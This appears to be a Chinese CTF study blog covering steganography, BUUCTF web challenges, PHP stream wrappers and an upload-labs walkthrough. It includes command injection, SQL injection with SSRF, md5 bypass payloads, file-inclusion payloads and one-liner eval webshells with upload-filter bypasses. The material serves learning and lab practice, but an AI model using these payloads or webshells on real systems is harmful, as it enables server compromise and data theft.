    将后缀改为zip即可

异或和盲水印

  • 遇到相同的图片时可能是以下两种情况
  1. 异或 2. 盲水印
  • 遇到两个酷似二维码的图片,可能是异或
  • 解密工具:stegsolve,盲水印脚本,QR Research
  • 例1:

    使两个二维码图片结合

    再使用QR Research解码成功
  • 例2:
    用010editor打开图片的16进制,没有发现信息
    于是我们在kali中使用binwalk Heart.png查看有没有可分离的隐藏文件

    发现有两张png
    输入指令:foremost -T Heart.png
    or binwalk -e Heart.png
    亲测发现解出来的文件夹里的内容不一样,用foremost可以解出两张图片
    这里有些许疑问,好像是binwalk分离的更细致
    测试过不是盲水印,然后使用stegsolve拼接两张图片

    这里也有盲水印的例题
  • 注意:程序python2和python3版本的加解密结果会有所不同,主要原因是python2和python3 random的算法不同,如果要让python3兼容python2的random算法请加 –oldseed参数。
    python bwmforpy3.py decode day1.png day2.png flag.png –oldseed

    得到flag.png

绘制二维码

使用下面的脚本就行,修改str和MAX即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from PIL import Image
MAX = 60 #二维码长宽
pic = Image.new("RGB",(MAX, MAX))
str = "str" #二进制数据
i=0
for y in range (0,MAX):
for x in range (0,MAX):
if(str[i] == '1'):
pic.putpixel([x,y],(0, 0, 0))
else:
pic.putpixel([x,y],(255,255,255))
i = i+1
pic.show()
#pic.save("flag.png")

BUUCTF

Posted on 2023-04-16

[ACTF2020 新生赛]Exec 1

在 CTF 中,flag 文件往往位于根目录下,但也不要被反套路了
先ping一下它自己

TTL表示您使用ping命令发送的数据包在网络中的持续时间。
TTL=56表示你的机器发送数据包到对方IP并确认,要花费56毫秒。
一般情况下,TTL=56表示对方是Windows 98或者是Linux操作系统
尝试使用管道符
127.0.0.1 | ls /查看根目录文件
127.0.0.1 | cat /flag 查看根目录下的flag文件


得到flag

BUUCTF [BJDCTF2020]Easy MD51

1、 PHP md5() 函数

  • 语法:md5(string,raw)
  • string:需要计算的字符串
  • raw:规定十六进制或二进制输出格式
    TRUE - 原始 16 字符二进制格式
    FALSE - 默认 32 字符十六进制数
    1
    2
    3
    4
    <?php 
    $str = "ffifdyop";
    echo "TRUE - Raw 16 character binary format: ".md5($str, TRUE)."<br>";
    ?>
    结果:
    1
    TRUE - Raw 16 character binary format: 'or'6�]��!r,��b<br>
    ffifdyop的原始 16 字符二进制格式以’or’6开头,数字开头的字符串都会被识别为True,可以用作注入拼接

php比较绕过

  • php是一种弱类型语言,对数据的类型要求并不严格,可以让数据类型互相转换
    1、使用两个等号 == 比较,只比较值,不比较类型。
    2、用三个等号 === 比较,除了比较值,也比较类型。

字符串和数字比较

  • 字符串和数字比较使用==时,若字符串以数字开头,则取开头数字作为转换结果,不能转换为数字的字符串或null,则转换为0
    1
    2
    3
    4
    5
    6
    7
    8
    var_dump(12=="12")                                 //true
    var_dump(12=="12aa") //true
    var_dump( "admin"==0) //true
    var_dump(false==""==0==NULL) //true

    var_dump('a' == 0); //bool(true)
    var_dump('1a' == 1); //bool(true)
    var_dump('12a' == 1); //bool(false)

字符串和布尔型

  • 布尔值true和任意字符串都弱相等,除了0和false,因为0也认为是bool false,true是不等于false的
    1
    2
    3
    4
    var_dump(true=="hyuf")                   //true
    var_dump(True == 0); //bool(false)
    var_dump(True == 'False'); //bool(true)
    var_dump(True == 2); //bool(true)

字符串”0”和科学计数法

1
2
3
4
5
6
7
8
9
10
11
12
13
$str1 = "a";
echo md5($str1); //0cc175b9c0f1b6a831c399e269772661
var_dump(md5($str1) == '0'); //bool(false)
---------------------------------------------------------
$str2 = "s224534898e";
echo md5($str2); //0e420233178946742799316739797882
var_dump(md5($str2) == '0'); //bool(true)
---------------------------------------------------------
$str3 = 'a1b2edaced';
echo md5($str3); //0e45ea817f33691a3dd1f46af81166c4bool
var_dump(md5($str3) == '0'); //bool(false)
---------------------------------------------------------
var_dump('0e111111111111' == '0'); //bool(true)
  • 开头前两个为0e,后面全部为数字的话,他们就会和字符串0相等的
    1、第一条只是0开头,所以只能当普通字符串,结果为false
    2、第二条0e后面全为数字,符合要求,结果为true
    3、第三条虽然为0e,但是后面不全为数字,所以结果为false
    4、数字和“e”开头加上数字的字符串(例如”1e123”)会当作科学计数法去比较

strcmp() 函数漏洞 php5.3之前

  • strcmp(s1,s2)
    1
    2
    3
    4
    5
    6
    当s1<s2时,返回为负数 注意不一定是-1,测试结果是比较字符串长度
    当s1==s2时,返回值= 0
    当s1>s2时,返回正数 注意不一定是1,测试结果是比较字符串长度
    如果两个字符串不同等,但是字符串长度相同,就比较从哪一位开始不同的,然后比较那一位的大小
    即:两个字符串自左向右逐个字符相比(按ASCII值大小相比较),直到出现不同的字符或遇'\0'为止。如:
    "A"<"B" "a">"A" "computer">"compare"
  • 利用点:这里面只能比较字符串,不能比较数字等其他形式的参数,如果出现了其它参数,则会retrun null,有些题目就是利用这一点来进行和0的完成比较
    一般使用数组来触发

MD5绕过

1
2
3
4
5
6
7
if(MD5($_GET['name']) == MD5($_GET['password'])){
echo $flag;

}
//name[]=1&password[]=2
PHP中md5()函数无法处理数组(会返回NULL)
==的也可以用数组绕过
1
2
3
4
5
6
7
<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->

GET传入a和b要求a不等于b,且a和b的md5值相同,md5的绕过

  • 方法一:利用数组绕过,md5()不能处理数组,传入数组会返回null
    payload如下:
    1
    ?a[]=1&b[]=2
  • 方法二:在php中以“0e”开头的字符串都会以科学计数法来解析,而0的乘积都为0。所以构造md5加密后开头为0e的字符串即可
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    QNKCDZO
    0e830400451993494058024219903391
    s878926199a
    0e545993274517709034328855841020
    s155964671a
    0e342768416822451524974117254469
    s214587387a
    0e848240448830537924465865611904
    s214587387a
    0e848240448830537924465865611904
    s878926199a
    0e545993274517709034328855841020
    s1091221200a
    0e940624217856561557816327384675
    s1885207154a
    0e509367213418206700842008763514
    下面是强比较
    1
    2
    3
    4
    5
    6
    7
    8
    9
     <?php
    error_reporting(0);
    include "flag.php";

    highlight_file(__FILE__);

    if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
    }
    方法一:数组绕过
    payload:
    1
    param1[]=1&param2[]=2
    方法二:使用md5加密后两个完全相等的两个字符串绕过
  • md5无论是32位还是16位,都不可能不重复的表示所有信息,这种重复的例子就称为硬碰撞,有如下代码:
    1
    2
    3
    4
    5
    6
    7
    $s1 = $_GET['a'];
    $s2 = $_GET['b'];
    $s3 = $_GET['c'];
    echo md5($s1),"<br/>";
    echo md5($s2),"<br/>";
    echo md5($s3),"<br/>";
    ?>
    payload:
    1
    2
    3
    ?a=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab
    &b=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab
    &c=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%ed%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%a7%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%e6%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%16%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%33%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%6f%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab
    三个返回相同的md5值
    1
    ea8b4156874b91a4ef00c5ca3e4a4a34

双md5碰撞绕过

1
2
3
md5(md5(CbDLytmyGm2xQyaLNhWn)) => 0e3a5f2a80db371d4610b8f940d296af
md5(md5(770hQgrBOjrcqftrlaZk)) => 0e2756da68ef740fd8f5a5c26cc45064
md5(md5(7r4lGXCH2Ksu2JNT3BYM)) => 0e48d320b2a97ab295f5c4694759889f

payload:

1
2
3
CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
7r4lGXCH2Ksu2JNT3BYM

md5碰撞脚本

intval() 函数

  • intval() 函数用于获取变量的整数值
  • 通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值,intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1
  • 语法:int intval ( mixed $var [, int $base = 10 ] )
    如果 base 是 0,通过检测 var 的格式来决定使用的进制:
    1
    2
    3
    如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex)
    如果字符串以 "0" 开始,使用 8 进制(octal)
    否则将使用 10 进制 (decimal)
    绕过方法:通过使用0x或者0开始的格式来绕过不相等的判断(像一些要先判断不相等再判断相等的题目)

[极客大挑战 2019]BuyFlag 1

  • is_numeric() 函数用于检测变量是否为数字
    利用:is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值

  • bp修改请求方式
    右键,change request method

{
“registry-mirrors”: [“https://qlmy5iw9.mirror.aliyuncs.com"]
}

[网鼎杯 2018]Fakebook

先在user页面找到注入点no= ,然后测试’发现可能存在sql注入,发现是数字型,继续测试到union select 1,2,3,4时出现提示no hack ~_~,使用fuzz字典测试注入点

union select被过滤,union/**/select中代替空格,常规联合注入

1
no=-1 union/**/select 1,group_concat(data),3,4 from users
1
O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:5:"1.com";} 

/robots.txt显示/user.php.bak,查出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

这部分可能存在ssrf,而我们爆出的字段data是序列化后的字符串,说明注册时会序列化我们的信息,回显到页面时再反序列化

这里存在ssrf,data本来回显的是我们自己的博客,但我们把它改为回显flag.php

1
O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

改为file:///var/www/html/flag.php,并把对应的s改为对应长度29
payload:

1
no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

查看同一位置的源码,base64解码

php伪协议

Posted on 2023-04-16

简介

PHP伪协议:是php支持的协议和封装协议。
协议:是通信双方的约定
封装协议:是在实际的数据通信系统中通过对协议的不同的加密方式,实现双方连接

php支持的伪协议

1
2
3
4
5
6
7
8
9
10
11
12
1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zlib:// — 压缩流
6 data:// — 数据(RFC 2397)
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流

php://filter

allow_url_fopen off/on
allow_url_include off/on
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行,从而任意文件读取
协议参数:

1
2
3
4
resource=<要过滤的数据流>	这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

常用

1
php://filter/read=convert.base64-encode/resource=xxx.php

使用的convert.base64-encode,就是一种过滤器
具体一些过滤器请参照本文参考文章:
https://blog.csdn.net/cosmoslin/article/details/120695429
过滤器嵌套
php://filter/read=convert.base64-encode/index/resource=flag,因为要读取,所以是read=过滤器(convert.base64-encode),后面用/隔开index,index是过滤器吗,但是可以嵌套,绕过这样的白名单,实现flag的读取,这里后面会自动加上.php所以不需要加

1
2
3
4
5
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}

死亡exit

死亡exit指的是在进行写入PHP文件操作时,执行了以下函数:

1
2
3
4
5
6
file_put_contents($content, '<?php exit();' . $content);
或者
file_put_contents($content, '<?php exit();?>' . $content);
PHP file_put_contents() 函数:语法int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )
参数:filename 必需,规定要写入数据的文件。如果文件不存在,则创建一个新文件
data 必需,规定要写入文件的数据。可以是字符串、数组或数据流。
1
2
3
4
<?php
$filename=$_GET['filename'];
$content=$_GET['content'];
file_put_contents($filename,"<?php exit();".$content);

$content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了。那么这种情况下,如何绕过这个“死亡exit”?

思路其实也很简单我们只要将content前面的那部分内容使用某种手段(编码等)进行处理,导致php不能识别该部分就可以了。
这里的$_POST[‘filename’]是可以控制协议的.
这里就介绍一种绕过,即我们刚学的php://filter配合base64编码:

base64绕过

1
2
3
4
5
6
7
首先我们需要清楚的是base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码
那么当$content被加上了<?php exit; ?>以后,我们可以使用php://filter/write=convert.base64-decode来首先对其解码。在解码的过程中,字符< ? ; >空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有”phpexit”和我们传入的其他字符。
由于base64是4个byte一组,再添加一个字符例如添加字符’a’后,将’phpexita’当做两组base64进行解码,这个时候后面再加上编码后的一句话木马,就可以getshell了。
payload:
?filename=php://filter/convert.base64-decode/resource=xxx.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==
a后面的编码实际上就是一句话木马
死亡exit具体参考:https://blog.csdn.net/woshilnp/article/details/117266628

这里有个疑问,为什么exit那段代码解码后会改变,而我们传入的编码后的一句话解码后为正常php代码

data://

allow_url_fopen on
allow_url_include on
数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。
示例用法:

1
2
3
4
5
1、data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php phpinfo();?>

2、data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAlMjBwaHBpbmZvKCk7Pz4=

范例
#1 打印 data:// 的内容

1
2
3
4
<?php
// 打印 "I love PHP"
echo file_get_contents ( 'data://text/plain;base64,SSBsb3ZlIFBIUAo=' );
?>

file://

allow_url_fopen off/on
allow_url_include off/on
用于访问本地文件系统
file://协议主要用于访问文件(绝对路径、相对路径以及网络路径)
比如:http://www.xx.com?file=file:///etc/passsword

php://input

allow_url_fopen off/on
allow_url_include on
php://input允许开发者从请求体中获取原始的 POST 数据

1
2
3
eg:
http://127.0.0.1/cmd.php?cmd=php://input
POST数据:<?php phpinfo()?>

PHP file_get_contents() 函数:把整个文件读入一个字符串中

注意:碰到file_get_contents()就要想到用php://input绕过

碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据。file_get_contents():这个函数就是把一个文件里面的东西 (字符)全部return出来作为字符串。除此之外,通过实践我发现这个函数如果直接把字符串当作参数会报错,但如果包含的是http协议的网址,则会像curl命令一样,把源码读出来。而php伪协议也是识别http协议的,所以说上面php://input可以将POST的数据读过来来赋值给参数。

1
2
3
<?php
echo file_get_contents("php://input");
?>

php://input(写入木马):
这里有些不理解
学习网址:https://blog.csdn.net/qq_51524329/article/details/121439731

​

正则表达式

Posted on 2023-04-13

upload

Posted on 2023-04-13

什么是文件上传漏洞

文件上传漏洞是指文件上传功能没有对上传的文件做合理严谨的过滤,导致用户可以利用此功能,上传能被服务端解析执行的文件,并通过此文件获得执行服务端命令的能力。

WebShell是什么

  • WebShell , 简称网页后门。简单来说它是运行在Web应用之上的远程控制程序
  • webShell其实就是一张网页,但webShell并不具备常见网页的功能,例如登录、注册、信息展示等功能,一般会具备文件管理、端口扫描、提权、获取系统信息等功能。

一句话木马

1
2
3
4
5
6
php的一句话木马: <?php @eval($_POST['attack']);?>
asp的一句话是: <%eval request ("attack")%>
aspx的一句话是: <%@ Page Language="Jscript"%> <%eval(Request.Item["attack"],"unsafe");%>
phtml格式:GIF89a //习惯在文件前加上GIF89a来绕过PHP getimagesize的检查
<script language='php'>@eval($_POST[shell]);</script>
<script language='php'>system('cat /flag');</script>

php一句话木马的解释

1、php的代码要写在里面,服务器才能认出来这是php代码,然后才去解析
2、@符号的意思是不报错,即使执行错误,也不报错
为什么呢?因为一个变量没有定义,就被拿去使用了,服务器就善意的提醒:Notice,你的xxx变量没有定义。这不就暴露了密码吗?所以我们加上@
3、$_POST[‘a’];的意思就是a这个变量,用post的方法接收
4、eval()把字符串作为PHP代码执行

  • 连起来意思就是:用post方法接收变量pw,把变量pw里面的字符串当做php代码来执行

Pass-01

Javascript 前端检查
一般都是通过 JS 限制上传的文件类型,对于这种情况,我们可以采用以下几种方式绕过:
1、上传png后缀的一句话木马,代理抓包,修改上传的文件后缀
2、修改JS文件(推荐)
3、禁用js
$_FILES中的那些参数:

1
2
3
4
5
6
7
8
9
10
$_FILES这个变量用与上传的文件参数设置,是一个多维数组
数组的用法就是 $_FILES['key']['key2'];
$_FILES['upfile']是你表单上传的文件信息数组,upfile是文件上传字段,在上传时由服务器根据上传字段设定。

$_FILES['upfile']包含了以下内容:
$_FILES['upfile']['name'] 客户端文件的原名称。
$_FILES['upfile']['type'] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如"image/gif"。
$_FILES['upfile']['size'] 已上传文件的大小,单位为字节。
$_FILES['upfile']['tmp_name'] 文件被上传后在服务端储存的临时文件名。
$_FILES['upfile']['error'] 和该文件上传相关的错误代码。

源码中的js代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<script type="text/javascript">
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
</script>
  • alert()
    作用:在浏览器中弹出一个警示框,警示框的警示内容可以人为自定义
    alert 语句是一个 js 内置好的功能(函数、方法),要想实现功能必须在 alert 关键字后面 加小括号执行,自定义的内容需要传递给小括号内的参数,输出时参数位置的内容alert("请选择要上传的文件!");会出现 在弹框位置
    通关思路:
    f12->查看器->找到调用检验函数语句

    将onsubmit=”return checkFile()”删去即可提交

Pass-02

本题要求对数据包中的MIME进行检查
MIME是什么?
简单来说就是文件的后缀
在HTTP中,MIME类型被定义在Content-Type header中
常见的类型如下:

1
2
3
4
超文本标记语言文本 .html text/html
PDF文档 .pdf application/pdf
PNG图像 .png image/png
JPEG图形 .jpeg,.jpg image/jpeg

源码中从这里可以看出是对MIME的检验:

1
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif'))
  • pass:
    1、抓包后找到MIMIE的位置,在Content-Type中

    更改其为image/jpeg,放包即可上传
    2、用正确形式上传,再在bp上改成php格式

Pass-03

黑名单验证

1
2
3
4
5
6
7
8
9
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
  • trim()函数是用来清除文本首尾多余的空格以及文本中的重复空格
  • strrchr() 函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符
    strrchr(string,char)
    string:被搜索的字符串
    char:要查找的字符。如果该参数是数字,则搜索匹配数字 ASCII 值的字符
    1
    2
    3
    4
    <?php
    echo strrchr("Hello world!",111);
    ?>
    运行结果:orld!
  • ::$DATA:在window的时候如果文件名+”::$DATA”会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名
    eg:”phpinfo.php::$DATA”Windows会自动去掉末尾的::$DATA变成”phpinfo.php”
  • pass:上传的后缀名只要不在那几个之间,可以使用
    PHP:php4/php5/phtml/php3/pht
    当我们不知道什么被加入黑名单的话,我们还能用bp爆破一下

Pass-04

htaccess文件利用

1
2
3
4
5
6
7
8
9
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
  • 概念:htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
  • .htaccess文件内容:SetHandler application/x-httpd-php
    设置当前目录所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规范,就会被当作PHP执行。不符合则报错。
    指定文件:
    1
    2
    3
    <FilesMatch "文件名">
    setHandler application/x-httpd-php
    </FilesMatch>
  • pass:1、新建.txt文件,输入SetHandler application/x-httpd-php,修改后缀为.htaccess,上传
    再建立一个txt文件,写上一句话木马,改成它允许的格式(eg:png),上传即可
    2、将文件后缀名改为”点+空格+点”的格式,这样file_ext会变为空,成功绕过黑名单上传。Windows会自动删除文件名最后的点,最后变为1.php
    Content-Disposition: form-data; name="upload_file"; filename="1.php. ."
  • .htaccess利用防范:黑名单限制

Pass-05

过滤了.htaccess,但是$file_name = deldot($file_name);//删除文件名末尾的点,仍然只过滤了一次点,所以使用. .绕过

Pass-06

代码中未用strtolower()把文件后缀名变为小写,使用大小写绕过

Pass-07

代码中未用trim()去除首尾空格,截包时文件名后加空格绕过即可,这样即是.php后缀又不会被黑名单过滤
Content-Disposition: form-data; name="upload_file"; filename="1.php "

Pass-08

代码中未用deldot()去除点,使用BurpSuite截包,文件名后加点绕过即可
Content-Disposition: form-data; name="upload_file"; filename="shell.php."

Pass-09

代码中未用str_ireplace()过滤::$DATA数据流标记,在BurpSuite中加入::$DATA到文件名末尾即可。在访问时去掉URL中的::$DATA
Content-Disposition: form-data; name="upload_file"; filename="shell.php::$DATA"

Pass-10

“点+空格+点”过滤

Pass-11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

$file_name = str_ireplace($deny_ext,"", $file_name);将出现在黑名单中的后缀名替换成空白字符串,但无论文件名是否被匹配都会被上传。鉴于源代码中只过滤了一次,我们可以使用双写绕过方法上传(如:.jjspsp)。这样str_ireplace()函数会将字符串”jsp”替换为空白,但替换后剩下的字符串刚好为”.jsp”

